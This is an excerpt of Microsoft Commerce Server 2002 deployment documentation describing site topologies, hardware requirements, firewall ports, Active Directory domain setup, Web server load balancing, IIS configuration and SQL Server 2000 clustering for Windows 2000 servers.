To provide high availability, it is a good idea to use a pair of replicated Active Directory domain controllers. Active Directory uses its own replication to ensure that its data remains consistent between domain controllers. The Web servers and database servers in this configuration are identical to those in the four-computer configuration. Because the Active Directory processing load is relatively light, you can put the Active Directory server on the same cluster as the SQL Server computers.

For instructions about installing the Sample Supplier Site with Active Directory, see Installing the Sample Supplier Site. This sample configuration consists of two servers: one domain controller using Active Directory, and one server running Commerce Server and SQL Server.

Small Site Development Environment

The following figure shows an example of a small site development environment.

A small-scale development environment for Commerce Server 2002

This development environment is physically separated from the staging/test and production environments. It is located inside the corporate network.

See Also

Securing Your Site

Deploying a Secure Site


Large Site Configuration

The simplest way for Commerce Server sites to increase capacity is to add Web servers and distribute the Commerce Server components onto separate database servers. You should base your availability decisions on the expected usage of each database. To increase availability and hide site complexities from customers, you can place a single-IP solution in front of the Web services. You can use a combination of SQL Server clustering or SQL Server replication to increase the availability of the database tier. In a large Web cluster, all business logic can run on the stateless Web servers. However, in some environments, you might want to isolate some functions from the site shopping functions. For example, you might prefer to run pipeline components on a separate Web cluster, if the components are particularly CPU-intensive (such as encryption of large files) or if they require access to secure data (such as computing insurance rates while processing social security number, credit history, or medical reports). An example of a CPU-intensive function that you might want to run on a separate server is the generation of analysis models.

The following figure shows an example of a large site production environment of 10 to 100 servers.

Large site configuration

Important

Commerce Server 2002 Data Warehouse does not support OLAP clustering.

This configuration separates each of the component databases onto its own Microsoft SQL Server cluster. In addition, the Catalogs database is installed over multiple load-balanced clusters. Additional Web servers are added to spread out the load on Commerce Server services and applications.

If your database tiers require more capacity than the four-node limitation in Windows Clustering, you should consider the following strategies for the database tier:

  • OLAP servers. Add servers to a single-IP solution. Synchronize data by using archive/restore. Windows Clustering for OLAP is not supported.
  • Catalog. Add servers to a single-IP solution. Synchronize data by using SQL Server replication.
  • Order Form. Create multiple data partitions and distribute transactions across the partitions. For example, you can implement distributed SQL Server databases (federated views). For more information, see "Designing Federated Database Servers" in SQL Server 2000 Help.
  • Profiles resource. Create multiple data partitions and distribute user data across the partitions. Data source partitions use profile properties designated as hashing keys to keep data together. Note that with this architecture, you should create partitions when you set up the site. If you add partitions to a site with existing user profiles, you have to reload user data. Partitioning is useful for both SQL Server and Active Directory profile stores. Scaling for Active Directory requires multi-forest design with trusts established from the domains in the user forests to the domain in the resource forest.

For more information about planning and deploying a large site configuration, see the Commerce Server 2000 Resource Kit.


Global Site Configuration

A global site will typically have several large sites across the world connected by a dedicated wide area network (WAN) or by one or more ISPs/ASPs provided by a WAN.

The following figure shows an example of a global site configuration.

Global site configuration

For more information about planning and deploying a global site configuration, see the Commerce Server 2000 Resource Kit.


Configuring a Typical Deployment

A typical deployment consists of a Web tier and a database tier. The Web tier consists of a single Web server, or multiple Web servers functioning as a cluster. The database tier consists of servers running SQL Server and Business Desk. Additionally, each tier may have domain controllers for authentication and DNS services.

The following figure illustrates the topology for a typical Commerce Server 2002 deployment.

Topology for typical Commerce Server 2002 deployments

The number of servers that you use in the deployment will depend on your performance requirements and targeted level of availability. To increase availability and performance, you can add servers to the Web, SQL Server, and Business Desk clusters.

This section guides you through the different phases of configuring a typical deployment.

This section contains:

  • Recommended Hardware Configurations
  • Server-specific Software Requirements
  • Installing the Base Platform
  • Configuring the Network
  • Setting Up the Domains
  • Configuring the Web Tier
  • Configuring the Database Tier
  • Installing Commerce Server 2002
  • Unpacking a Site
  • Installing the Business Desk Client

See Also

Deploying a Secure Site

Securing your Site


Recommended Hardware Configurations

In addition to the hardware requirements listed in the Commerce Server 2002 Installation Guide, the following table lists the recommended hardware configurations for typical Commerce Server 2002 deployments.

Server | Processor | RAM | Hard Disk Space | Network Adapters
Web server | Dual 700 MHz | 1 GB | 12 GB | 2
SQL Server | Quad 500 MHz | 1 GB | 25 GB | 2
ISA Server | Single 500 MHz | 512 MB | 8 GB | 3
Business Desk | Dual 700 MHz | 1 GB | 12 GB | 2
Active Directory | Single 500 MHz | 512 MB | 8 GB | 1

SQL Server clusters using Cluster Service should configure common external storage devices with four 9-GB SCSI hard drives as a single 25-GB RAID 5 logical drive.

A typical deployment also uses the following hardware:

  • Three hubs – one connecting the front-end network adapters on the Web servers, one connecting the back-end network adapters on the Web servers, and one connecting the servers running SQL Server and Business Desk in the database tier.
  • Three firewalls - one external firewall separating the deployment from the Internet, one internal firewall separating the Web tier from the database tier, and one additional firewall separating the database tier from your internal network.

See Also

Configuring a Typical Deployment

Deploying a Secure Site

Securing your Site


Server-specific Software Requirements

The deployment process depends heavily on where you would like to install the Commerce Server components. In the simplest configuration, all of the Commerce Server components are installed on one computer. In many large-scale deployments, the Commerce Server components are installed on different computers. For example, the Analysis and Data Warehouse component of Commerce Server is typically installed on separate computers running SQL Server. For instructions on installing Commerce Server, see the Commerce Server 2002 Installation Guide.

Web Server Requirements

When deploying Commerce Server 2002, each Web server requires the following software products:

  • Microsoft Windows 2000 Advanced Server with Service Pack 2
  • Internet Information Services (IIS) 5.0
  • MSXML version 3.0 with Service Pack 2, available on the Commerce Server product CD (\Support\MSXML 3.0 Sp2\msxml3sp2setup.exe)
  • MDAC 2.7, available on the Commerce Server product CD (\Support\MDAC 2.7\mdac_typ.exe)
  • Commerce Server 2002 (without Business Desk)

Database Server Requirements

When deploying Commerce Server 2002, each database server requires the following software products:

  • Windows 2000 Advanced Server with Service Pack 2
  • Microsoft SQL Server 2000 with Service Pack 2
  • MDAC 2.7, available on the Commerce Server product CD (\Support\MDAC 2.7\mdac_typ.exe)

Business Desk Requirements

When deploying Commerce Server 2002, each server running Business Desk requires the following software products:

  • Windows 2000 Advanced Server with Service Pack 2 or Microsoft Windows XP Professional
  • Internet Information Services (IIS) 5.0
  • MSXML version 3.0 with Service Pack 2
  • Commerce Server 2002 (with Business Desk)

Domain Controller Requirements

  • Windows 2000 Advanced Server with Service Pack 2

Firewall Requirements

  • Windows 2000 Server or Windows 2000 Advanced Server with Windows 2000 Service Pack 2 or later
  • Microsoft Internet Security and Acceleration Server 2000

See Also

  • Deploying a Secure Site


Installing the Base Platform

After you have obtained the hardware and software requirements, install the base platform on each server before configuring the network and installing the software. The following describes how to install the base platform:

  1. Install Microsoft Windows 2000 Advanced Server with Service Pack 2 (SP2) on all servers.
  2. Install Internet Information Services (IIS) 5.0 on the Web and on servers running Business Desk. See the IIS site for the latest hotfixes.
  3. Install MSXML version 3.0 with SP2 on the Web and on servers running Business Desk.

    If Microsoft Internet Explorer version 6.0 (which includes MSXML 3.0 SP2) is not installed, you can install MSXML 3.0 SP2 from the Microsoft Commerce Server 2002 product CD using the \Support\MSXML 3.0 Sp2\msxml3sp2setup.exe file. During installation, select the option to install in side-by-side mode. This option prevents MSXML 3.0 SP2 from overwriting MSXML version 2.6, which is required for Business Desk.

Once you have installed the base platform, you can begin configuring the network by connecting network adapters and assigning IP addresses.


Configuring the Network

Once the base platform is installed, connect the network adapters to the appropriate hubs or switches, and assign the appropriate IP addresses. This phase of the deployment involves establishing communication between all servers in the deployment.

This section contains:

  • Connecting the Web Servers
  • Connecting the SQL Servers
  • Connecting the Business Desk Servers
  • Opening Firewall Ports


Connecting the Web Servers

The following procedure describes how to connect and configure the network adapters on each Web server during deployment. Each Web server uses two network adapters: one for communicating with clients on the Internet, the other for communicating with servers in the database tier.

The following figure illustrates a sample network configuration for a Web cluster consisting of three Web servers.

Sample Web cluster network configuration

To connect the Web servers

  1. Connect the front-end network adapter (for communicating with clients on the Internet) to a hub that is connected to the external firewall.
  2. In the Internet Protocol (TCP/IP) Properties of this adapter, enter the IP address, Subnet mask, and Default gateway. The IP address entered in this step specifies the dedicated IP address for this server.
  3. Connect the back-end network adapter (for communicating with back-end databases) to a hub that is connected to an internal firewall (separating the Web tier from the database tier).
  4. In the Internet Protocol (TCP/IP) Properties of this adapter, enter the IP address, Subnet mask, and leave the Default gateway blank.
  5. Repeat steps 1-4 for each Web server using different IP addresses.

Network configuration is complete on the Web servers. To install Network Load Balancing (NLB), see Clustering the Web Servers.


Connecting the SQL Servers

The following procedure describes how to connect and configure the network adapters on each server running SQL Server during deployment. Each server uses two network adapters: one connected to the Web cluster by a hub, the other connected to the other server running SQL Server by a crossover cable. Each server is also connected to a shared storage unit by a SCSI cable.

The SQL Server cluster requires two different cluster names and two different cluster IP addresses: one used by SQL Server, the other used by Cluster Service.

The following figure illustrates a sample network configuration for a SQL Server cluster.

Sample network configuration for SQL Server cluster

To connect the servers running SQL Server

  1. Make sure the shared storage unit is not powered on. It may be corrupted if it is connected to both servers while the power is on.
  2. Connect the front-end network adapter to a hub that is connected to the firewall separating the Web tier from the database tier.
  3. In the Internet Protocol (TCP/IP) Properties of this adapter, enter the IP address, Subnet Mask, and Default gateway.
  4. Connect a crossover cable from the back-end network adapter to the back-end network adapter of the other server running SQL Server.
  5. In the Internet Protocol (TCP/IP) Properties of this adapter, enter the IP address, Subnet Mask, and leave the Default gateway blank.
  6. In Internet Protocol (TCP/IP) Properties, click Advanced.
  7. In Advanced TCP/IP Settings, on the WINS tab, select Disable NetBIOS over TCP/IP.
  8. Connect a SCSI cable to the shared storage unit.
  9. Repeat steps 1-8 for the other server running SQL Server using different IP addresses.

Network configuration is complete on the SQL Server cluster. To install Cluster Service, see Configuring the Database Tier.


Connecting the Business Desk Servers

The following procedure describes how to connect and configure the network adapters on each server running Business Desk during deployment. Each server running Business Desk uses one network adapter.

To connect servers running Business Desk

  1. Connect the network adapter to a hub that is connected to the firewall separating the Web tier from the database tier.
  2. In the Internet Protocol (TCP/IP) Properties of this adapter, enter the IP address, Subnet Mask, and Default gateway.

    You must enter an IP address that is on the same subnet as the firewall. You must use the same subnet mask and default gateway for this adapter that you used to configure the network adapter in the firewall.

  3. Repeat steps 1-2 for the other server running Business Desk using a different IP address.

Network configuration is complete on the servers running Business Desk.


Opening Firewall Ports

On the external firewall (separating the deployment from the Internet), open inbound ports 80 and 443 for HTTP and HTTPS, respectively. If you use a firewall to separate the Web tier from the database tier, open inbound port 1433 for SQL Server. Additionally on this firewall, allow access in both directions (inbound and outbound) across ports 135 for the RPC port mapper. Open outbound ports 5000-5030 for Microsoft Distributed Transaction Coordinator (MSDTC).

On the internal firewall (separating the deployment from the internal network), open inbound port 80 for HTTP to allow the internal server running Business Desk to reset published catalogs and profile schemas.

See Also

Deploying a Secure Site


Setting Up the Domains

After you establish network connectivity, group the servers into two domains before you install Commerce Server 2002. Create two separate, trusted domains: a demilitarized zone (DMZ) for the Web tier and an intranet zone for the database tier. You should configure a domain controller for each zone that provides DNS services.

On each domain controller, add new hosts to recognize the appropriate servers (or clusters) in a different domain. For example, on the DMZ domain controller you could add two new hosts using the virtual IP address of the Web cluster and the cluster IP address of the SQL Server cluster. On the intranet domain controller you could add a new host for each server in the Web cluster.

After creating the two domains and adding the appropriate hosts, join each server to its respective domain. For example, each Web server should be a member of the DMZ domain, while each SQL Server and Business Desk server should be a member of the intranet domain. For instructions on joining a server to a domain, use the procedure described in Joining Web Servers to an Active Directory Domain. Domain configuration is complete when all servers are restarted after joining the appropriate domains.

If you decide to implement the Active Directory directory service to store user profile or other data, you must complete several steps, which are described in the following topics.

Note

  • Before you complete any of these steps, it is important that you understand Active Directory and its role in your site plan. For more information about Active Directory, see the Windows 2000 documentation.

This section contains:

  • Creating an Active Directory Domain
  • Synchronizing Active Directory Domain Controllers
  • Adding a Domain Controller to an Existing Domain
  • Enabling Web Servers to Authenticate Users on Other Servers

See Also

Planning for the Profiling System

Planning for Active Directory Integration

Deploying a Secure Site

Securing Your Site


Creating an Active Directory Domain

Before you can enable Active Directory directory service authentication for your Commerce Server Web site user profile information, you must set up an Active Directory domain on your site. It is recommended that you dedicate a replicated pair of servers for this purpose.

Use one of these procedures only if you understand Active Directory concepts, and have planned your Active Directory structure. For information about Active Directory, see the Microsoft Windows 2000 Server Deployment Planning Guide.

To set up an Active Directory domain by creating a new domain tree

To set up an Active Directory domain by creating a new child domain in an existing domain tree

To set up an Active Directory domain by creating a new domain tree

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type dcpromo, and then click OK.
  3. In the Active Directory Installation Wizard, click Next.
  4. In the Domain Controller Type dialog box, select Domain controller for a new domain, and then click Next.
  5. In the Create Tree or Child Domain dialog box, select the Create a new domain tree option, and then click Next.
  6. In the Create or Join Forest dialog box, do the following:
    Use this | To do this
    Create a new forest of domain trees | Select this option if this is the first domain in your organization, or if you want the new domain tree you are creating to be completely independent of your current forest.
    Place this new domain tree in an existing forest | Select this option if you want the users in the new domain tree to have access to resources in existing domain trees, and vice versa.
  7. If you selected the Create a new forest of domain trees option, in the New Domain Name dialog box, in the Full DNS name for new domain box, type the full Domain Name System (DNS) name for the new domain.
  8. In the NetBIOS Domain Name dialog box, in the Domain NetBIOS name box, type the name that users of earlier versions of Microsoft Windows will use to identify the domain. It is recommended that you accept the default, which is a shortened version of the full DNS name. Click Next.
  9. In the Database and Log Locations dialog box, accept the default settings unless you have a specific reason to change them.
  10. In the Shared System Volume dialog box, accept the default settings unless you have a specific reason to change them.
  11. If DNS is not installed on your computer, you will be prompted to install it. Select Yes, install and configure DNS on this computer, and then click Next.
  12. In the Permissions dialog box, select the Permissions compatible only with Windows 2000 servers option, and then click Next.
  13. In the Directory Services Restore Mode Administrator Password dialog box, do the following:
    Use this | To do this
    Password | Type the password you want to assign to the Administrator account for the server.
    Confirm password | Type the password again to confirm it.
  14. In the Summary dialog box, review the options you selected to ensure your Active Directory configuration is correct. If it is, click Next, or, to reconfigure your selections, click Back.

    The Configuring Active Directory dialog box appears, notifying you that your Active Directory configuration is being installed on your computer.

  15. In the Completing the Active Directory Installation Wizard dialog box, click Finish.

To set up an Active Directory domain by creating a new child domain in an existing domain tree

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type dcpromo, and then click OK.
  3. In the Active Directory Installation Wizard, click Next.
  4. In the Domain Controller Type dialog box, select Domain controller for a new domain, and then click Next.
  5. In the Create Tree or Child Domain dialog box, select the Create a new child domain in an existing domain tree option, and then click Next.
  6. In the Child Domain Installation dialog box, do the following:
    Use this | To do this
    Parent domain | Type the parent domain name.
    Child domain | Type the child domain name.
  7. In the NetBIOS Domain Name dialog box, in the Domain NetBIOS name box, type the name that users of earlier versions of Microsoft Windows will use to identify the domain. It is recommended that you accept the default, which is a shortened version of the full DNS name. Click Next.
  8. In the Database and Log Locations dialog box, accept the default settings unless you have a specific reason to change them.
  9. In the Shared System Volume dialog box, accept the default settings unless you have a specific reason to change them.
  10. If DNS is not installed on your computer, you will be prompted to install it. Select Yes, install and configure DNS on this computer, and then click Next.
  11. In the Permissions dialog box, select the Permissions compatible only with Windows 2000 servers option, and then click Next.
    CAUTION
    • Allowing backward compatibility can lead to security problems with Microsoft Commerce Server 2002.
  12. In the Directory Services Restore Mode Administrator Password dialog box, do the following:
    Use this | To do this
    Password | Type the password you want to assign to the Administrator account for the server.
    Confirm password | Type the password again to confirm it.

    The Configuring Active Directory dialog box appears, notifying you that your Active Directory configuration is being installed on your computer.

  13. In the Completing the Active Directory Installation Wizard dialog box, click Finish.

See Also

Small Site Configuration

Joining Web Servers to an Active Directory Domain


Synchronizing Active Directory Domain Controllers

Although you need only a single domain controller for each domain, a single domain controller can become a single point of failure. Instead, you can add additional domain controllers to a domain to increase its availability. The Active Directory directory service uses a two-way replication strategy to ensure consistency among domain controllers in a single domain. Active Directory domain controllers support multi-master replication to synchronize data on each domain controller and to ensure consistent information.

The information stored in Active Directory on every domain controller (whether or not it is a global catalog server) is partitioned into three categories: domain, schema, and configuration data. Each of these categories is in a separate directory partition (also called a Naming Context). The directory partitions are the units of replication. The domain data partition contains all of the objects in the directory for the domain. Data in each domain is replicated to every controller in the domain, but not beyond.

If the domain controller is a global catalog server, it also contains a fourth category of information: a partial replica of the domain data directory partition for all domains. This partial replica contains a subset of the properties for all objects in all domains. (A partial replica is read-only; a complete replica is read/write.)

By default, the partial set of attributes stored in the global catalog includes those attributes most frequently used in search operations, because one of the primary functions of the global catalog is to support clients querying the directory. Using global catalogs to perform partial domain replication instead of doing full domain replication reduces WAN traffic.

The following figure shows replication within a site. Three domain controllers (one of which is a global catalog) replicate schema data and configuration data, as well as all directory objects (with a complete set of attributes for each object).

Replication of data between domain controllers

Active Directory attempts to establish a topology that allows at least two connections to every domain controller so that if a domain controller becomes unavailable, directory information can still reach all online domain controllers through the other connection. Active Directory also automatically evaluates and adjusts for changes in the state of the network. For example, when a domain controller is added to a site, the replication topology is adjusted to incorporate the new addition efficiently.

Replication Between Sites

You can also use Active Directory to optimize both server-to-server and client-to-server traffic over WAN links. Having multiple sites can provide redundancy in the event of a geographical disaster. Best practices for setting up multiple sites include the following:

  • Set up a site in every geographic area that requires fast access to the latest Active Directory information.
  • Place at least one domain controller at every site and make at least one domain controller in each site a global catalog. Sites that do not have their own domain controllers and at least one global catalog are dependent on other sites for directory information and are less efficient.

For information about securing replication across WAN links, see "Security Between Replication Partners" in the Windows 2000 Server Resource Kit Online Books.

See Also

Securing Your Site


Adding a Domain Controller to an Existing Domain

After you create multiple domain controllers, the Active Directory directory service frequently and automatically replicates directory information between them. If a domain controller becomes unavailable, directory information is still available through the other domain controllers.

To add an additional domain controller to an existing domain

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type dcpromo, and then click OK.
  3. In the Domain Controller Type dialog box, select Additional domain controller. This creates the domain controller as a replication partner.
  4. In the Network Credentials dialog box, type the user name, password, and the name of the existing domain, and then click Next.

    Note

    • You must use a user name and password of the domain administrator group for the existing domain, or a member of that group.
  5. In the Additional Domain Controller dialog box, click Next.
  6. In the Database and Log Location dialog box, accept the defaults, and then click Next.
  7. In the Shared System Volume dialog box, click Next.
  8. In the Directory Services Restore Mode Administrator Password dialog box, leave the boxes blank, and then click Next.
  9. In the Summary dialog box, click Next.
  10. When the Completing Active Directory dialog box appears, click Finish, and then restart Windows.


Enabling Web Servers to Authenticate Users on Other Servers

Microsoft Commerce Server 2002 requires that a Web server be able to authenticate users to access services located on other servers. You must ensure that Microsoft Windows is configured to allow such access.

Note

  • To enable delegation, you must have sufficient administrative privileges in your Windows 2000 domain.

To enable a Web server to authenticate clients to other servers

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In the Commerce Server Manager console, expand Active Directory Users and Computers, right-click the domain node, and then click Find. Or, if you know which organizational unit the computer is in, in the console tree, right-click the organizational unit, and then click Find.

    Or, you can navigate to the computer account you want to change without using the Find command, and then skip to step 9.

  3. In the Find Users, Contacts, and Groups dialog box, in the Find box, select Computers from the drop-down list.
  4. On the Computers tab, in the Name box, type the name of the computer for which you are searching.
  5. In the In box, select the domain or organizational unit you want to search from the drop-down list.

    Or, to select a folder or domain in which you want to begin your search, click Browse.

  6. (Optional) In the Owner box, type the name of the person whose computer is in the domain.
  7. (Optional) In the Any box, select the role of the computer from the list. You can search for all computers on the network, computers that are workstations and servers, or computers that are domain controllers.
  8. Click Find Now.

    The name of the computer you want appears in the list at the bottom of the Find Computers dialog box.

  9. Right-click the name of the computer, and then click Properties.
  10. In the <computer name> Properties dialog box, select the Trust computer for delegation option, and then click OK.


Configuring the Web Tier

This section describes how to configure the Web tier for a typical deployment. This topic assumes that you have already installed the base platform, configured the network, and set up the two domains. Verify that your Web servers are the computers you will use to host your Web sites and the Commerce Server run-time components. To separate the business logic tier from the database tier, your Web servers should not contain any of your databases.

This section contains:

  • Clustering the Web Servers
  • Joining Web Servers to an Active Directory Domain
  • Configuring IIS


Clustering the Web Servers

To increase availability and scalability for your Commerce Server applications, you can cluster the Web servers using a variety of load balancing solutions including hardware load balancing devices or Microsoft Windows 2000 Network Load Balancing (NLB). This section focuses on using NLB to cluster the Web servers. For more information about clustering, see Clustering Concepts.

In a Web cluster using NLB, each member typically has two network adapters: a front-end adapter to handle client requests and a back-end adapter for internal communications (such as cluster operations and access to databases). All members share a cluster IP address, or virtual IP (VIP) address. Optionally, each member has a dedicated IP (DIP) address.

The following figure illustrates the IP addresses for a sample NLB configuration.

IP addresses for sample NLB configuration

All members on a single subnet concurrently detect all incoming requests for the cluster's VIP. NLB uses a fully distributed algorithm to determine which member should handle the request. All other members will discard the request.

NLB automatically detects changes in a cluster's state (members being set offline, online, added, or removed) by transmitting an NLB exchange message over the front-end adapters. Changes in a cluster's state cause inconsistencies with these message exchanges. If these inconsistencies endure beyond a configurable amount of time (one second by default), NLB initiates a process to determine the current state of the cluster so that it can load balance the cluster properly. NLB automatically redistributes requests among the active, remaining members. This process ensures that only active members receive requests.

You can install NLB by using any of the following programs:

  • Microsoft Application Center 2000
  • Microsoft Windows 2000 Advanced Server
  • Microsoft Windows 2000 Datacenter Server

To install NLB

  1. Click Start, point to Settings, and then click Network and Dial-up Connections.
  2. Right-click the Local Area Connection on which NLB is to be installed, and then click Properties.
  3. In the Local Area Connection Properties dialog box, under Components checked are used by this connection, check the Network Load Balancing check box, and then click the Properties button.
  4. In the Network Load Balancing Properties dialog box, for Primary IP address, enter the cluster IP address, or virtual IP (VIP) address. This is the IP address that is shared by all members of the cluster.
  5. Enter the corresponding Subnet mask, and then click OK.
  6. To complete NLB installation, click OK.
  7. Repeat this procedure on each member of the NLB cluster.

Configuring NLB

The following procedure describes how to configure NLB on the Web tier for a typical deployment.

To configure NLB on the Web tier

  1. Open properties for the front-end adapter (for communicating with clients on the Internet).
  2. In Network Load Balancing Properties dialog box, on the Cluster Parameters tab, type the Primary IP address (the virtual IP address shared across all cluster members), Subnet Mask, and Full Internet name.
  3. In Network Load Balancing Properties dialog box, on the Host Parameters tab, type the Priority (Unique host ID), Dedicated IP address, and Subnet Mask.
  4. In Network Load Balancing Properties dialog box, on the Port Rules tab, remove the default port rule covering ports 0 to 65535 by selecting the port rule, then clicking Remove.
  5. Create a port rule for HTTP using the information in the following table, and then click Add.
    Field | Enter
    Port range | 80 to 80
    Protocols | Both
    Affinity | None
  6. Create a port rule for HTTPS using the information in the following table, and then click Add.
    Field | Enter
    Port range | 443 to 443
    Protocols | Both
    Affinity | Single
  7. In Internet Protocol (TCP/IP) Properties dialog box, click Advanced.
  8. In the Advanced TCP/IP Settings dialog box, on the IP Settings tab, in the IP addresses section, click Add, and then type the IP address (the virtual IP address shared across all members) and Subnet mask of the cluster.
  9. Restart the server.
  10. Repeat steps 1-9 for each Web server using a different dedicated IP address. For each subsequent Web server that you add to the cluster, increment the Priority (Unique host ID) value by one.

See Also

Connecting the Web Servers


Joining Web Servers to an Active Directory Domain

If you create a Microsoft Active Directory directory service domain, make sure your Web servers belong to the domain before you install Microsoft Commerce Server 2002. For more information about Active Directory, see Setting Up the Domains.

Note

  • You must be logged on as an administrator to the local computer and have a valid user name and password to join the computer to a domain. If you do not know which user name and password to use, contact your system administrator.

To join a domain

  1. Click Start, point to Settings, click Control Panel, and then click System.
  2. In the System Properties dialog box, on the Network Identification tab, click Properties.
  3. In the Identification Changes dialog box, in the Member of box, select Domain, type the name of the domain you want to join, and then click OK.

    You are prompted to provide a user name and password to join the computer to the domain.

    Note

    • If you want longer names to be recognized by the Active Directory domain, the domain administrator must enable registration of Domain Name System (DNS) names that are 16 bytes or longer.
  4. To close the System Properties dialog box after you have entered the user name and password, click OK.

You are prompted to restart your computer to apply your changes.

See Also

Setting Up the Domains


Configuring IIS

Internet Information Services (IIS) 5.0 is installed in Microsoft Windows 2000 Server and Microsoft Windows 2000 Advanced Server by default.

To provide additional security for your Web sites, you should create a new IIS Web site for each site you are planning to install with Commerce Server. By default, Commerce Server installs your site in the IIS Default Web Site. When you use Commerce Server Site Packager to unpack your site, you can specify that it reside in the IIS Web site you created rather than in the Default Web Site.

To create a new IIS Web site

  1. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  2. In the Internet Information Services dialog box, right-click the name of the computer on which you want to create the new IIS site, point to New, and then click Web Site.
  3. In the Web Site Creation Wizard dialog box, click Next.
  4. In the Web Site Description dialog box, in the Description box, type a name for the new Web site. This name will appear as the site name in Internet Services Manager. Click Next.
  5. In the IP Addresses and Port Settings dialog box, do the following:
    Use this | To do this
    Enter the IP address to use for this Web site | Select from the drop-down list the Internet Protocol (IP) address for this Web site. The All Unassigned value on the drop-down list refers to IP addresses that are assigned to a computer but not assigned to a specific site. The Default Web Site uses all of the IP addresses that are not assigned to other sites. Only one site can be set to use unassigned IP addresses.
    TCP port this Web site should use (Default: 80) | Type the port address for this Web site.
    Host Header for this site (Default: None) | If applicable, assign the host header name for this Web site. If you are adding additional sites to a single IP address by using host headers, you must assign a host header name.
  6. Click Next.
  7. In the Web Site Home Directory dialog box, do the following:
    Use this | To do this
    Path | Type the location in your Windows file system for your site root directory, or click Browse to select this directory.
    Allow anonymous access to this Web site | Select this check box to allow users to connect to this site without a user name or password.
  8. Click Next.
  9. In the Web Site Access Permissions dialog box, specify the permissions you want to assign to all users who access this site, and then click Next.
  10. To close the wizard, click Finish.

Notes

  • It is a good idea to install the Domain Name System (DNS) service on a computer on your intranet. If your intranet is small, you can use Hosts or Lmhosts files on all computers in your network. DNS allows users to access your site with text names instead of IP addresses.
  • For security purposes, it is recommended that all drives used with IIS be formatted with NTFS.

See Also

Commerce Server and IIS


Configuring the Database Tier

Your database servers are the computers you use to host your Commerce Server databases and application databases, and the Commerce Server Direct Mailer and Predictor resources, if you decide to install them.

To separate the business logic tier from the database tier, your database servers should not contain any of your applications or administrative tools. One exception is Direct Mailer, which you can install on your database server in a small site configuration.

This section describes how to configure the database tier for a typical deployment. This topic assumes that you have already installed the base platform, configured the network, and set up the two domains.

This section contains:

  • Clustering the SQL Servers
  • Installing SQL Server 2000
  • Installing Commerce Server 2002 Resources as Clustered Resources
  • Using SQL Server Replication
  • Using SQL Server Log Shipping

See Also

Configuring a SQL Publication to Replicate a Catalog


Clustering the SQL Servers

To provide high availability for your SQL Server databases, it is recommended that you store them on server clusters using Cluster Service. Servers configured using Cluster Service share common data and work as a single system. Each server can operate independently of other servers in the cluster. So if one server fails, another server takes over its functions.

Each node has its own memory, system disk, operating system, and subset of the resources in the cluster. If one node fails, another one takes ownership of the resources of the failed node. The cluster service then registers the network address for the resource on the new node so that client traffic is routed to the new server. When the failed server is brought back online, the cluster service can be configured to redistribute resources and client requests.

There are several server clustering techniques, including shared disks and mirrored disks, to consider using, depending on your needs and budget. Also, you can configure your servers as active/active, in which each server runs applications while also serving as a backup for the other server, or active/passive, in which one server runs applications while the other one serves as a backup. Making these decisions requires that you consider the role of server clusters in your site. The following table lists three techniques you can use to make disk data available to more than one server.

Technique | Description
Shared disk | Although no longer requiring expensive cabling and switches, the shared-disk technique (in which multiple servers share the same disk) still requires specially modified applications using software called a Distributed Lock Manager (DLM).
Mirrored disk | More flexible than the shared-disk technique, the mirrored-disk technique is based on each server having its own disks, and using software that "mirrors" every write from one server to a copy of the data on another server. This technique is very useful for keeping data at a disaster-recovery site synchronized with a primary server.
Shared nothing | In a shared-nothing architecture configuration, each server owns its own disk resources. If a server fails, a shared-nothing cluster has software that can transfer ownership of a disk from one server to another. This technique provides the same high level of availability as shared-disk clusters, with potentially higher scalability, because it does not have the inherent bottleneck of a DLM.

Before creating server clusters, you need to plan for them carefully. The servers in the cluster must be configured with compatible disk drives, network adapters, and disk controllers. For more information about these requirements, consult your hardware vendor. For more information about planning for server clusters, see the Microsoft Windows 2000 Server Deployment Planning Guide. After you develop a server cluster plan, use the Windows Cluster Service Configuration Wizard to create and configure your server cluster. For prescriptive information on installing Cluster Service, see the Step-by-Step Guide to Installing Cluster Service.

Cluster the SQL database using Windows clustering. For a detailed example, see “Commerce Server 2000 High Availability Reference Architecture: Compaq-Microsoft High Availability Reference Architecture Validation,” available from http://go.microsoft.com/fwlink/?LinkId=6687.

For information about installing Direct Mailer and Predictor on a cluster, see Installing Commerce Server 2002 Resources as Clustered Resources.

See Also

Large Site Configuration

Securing Your Site


Installing SQL Server 2000

Microsoft SQL Server 2000 provides improved interoperability with Windows Cluster Service. Prior to SQL Server 2000, SQL Clustering used three rebinding virtual DLLs interjected between every SQL Server or client component and the corresponding kernel DLLs. SQL Server 2000 also contains the following improvements over previous versions:

  • Clustering is much easier to manage. It is implemented through the use of SQL Instancing, which removes the need for the virtual mapping tier so that you can directly manage individual components in the cluster environment.
  • All SQL Server tools are cluster-aware, which makes the environment significantly more robust. The tools are now integrated, which eliminates the need to coordinate the use of multiple tools. Previously, when you had to use several tools to manage a cluster, any misuse or lack of coordination in using the tools could cause the cluster to fail.
  • Clusters can contain up to four nodes (instead of two as in previous versions).
  • You can now perform rolling upgrades on nodes in a Windows Cluster Service cluster. Prior to SQL Server 2000, you had to take the entire cluster offline to perform an upgrade. With SQL Server 2000, you can take just one node offline at a time to perform the upgrade, leaving the other nodes online.
  • Full-text search is now cluster aware.

Important

  • Commerce Server 2002 Data Warehouse does not support OLAP clustering.

Note

  • Commerce Server does not support a mixed Microsoft SQL Server 7.0 and SQL Server 2000 configuration for the Data Warehouse and OLAP server databases.

To install SQL Server 2000 on the database tier, use the following procedure on each server in the SQL Server cluster.

To install SQL Server 2000 on the database tier

  1. If the servers running SQL Server share an external storage device (or shared-storage unit), connect and configure the device to the servers using SCSI cables (or the necessary connection equipment). For more information about this step, see the documentation accompanying your storage equipment.
  2. Install Cluster Service as instructed in the Step-by-Step Guide to Installing Cluster Service.
  3. Create a new cluster disk resource for Microsoft Distributed Transaction Coordinator (MSDTC).
  4. Configure MSDTC to run on a cluster by running the comclust.exe command.
  5. Install SQL Server 2000, specifying the appropriate options for your deployment.
  6. Disable Named Pipes using the SQL Server Client Network Utility.
  7. Install SQL Server 2000 Service Pack 2.

See Also

Clustering the SQL Servers

Deploying a Secure Site


Installing Commerce Server 2002 Resources As Clustered Resources

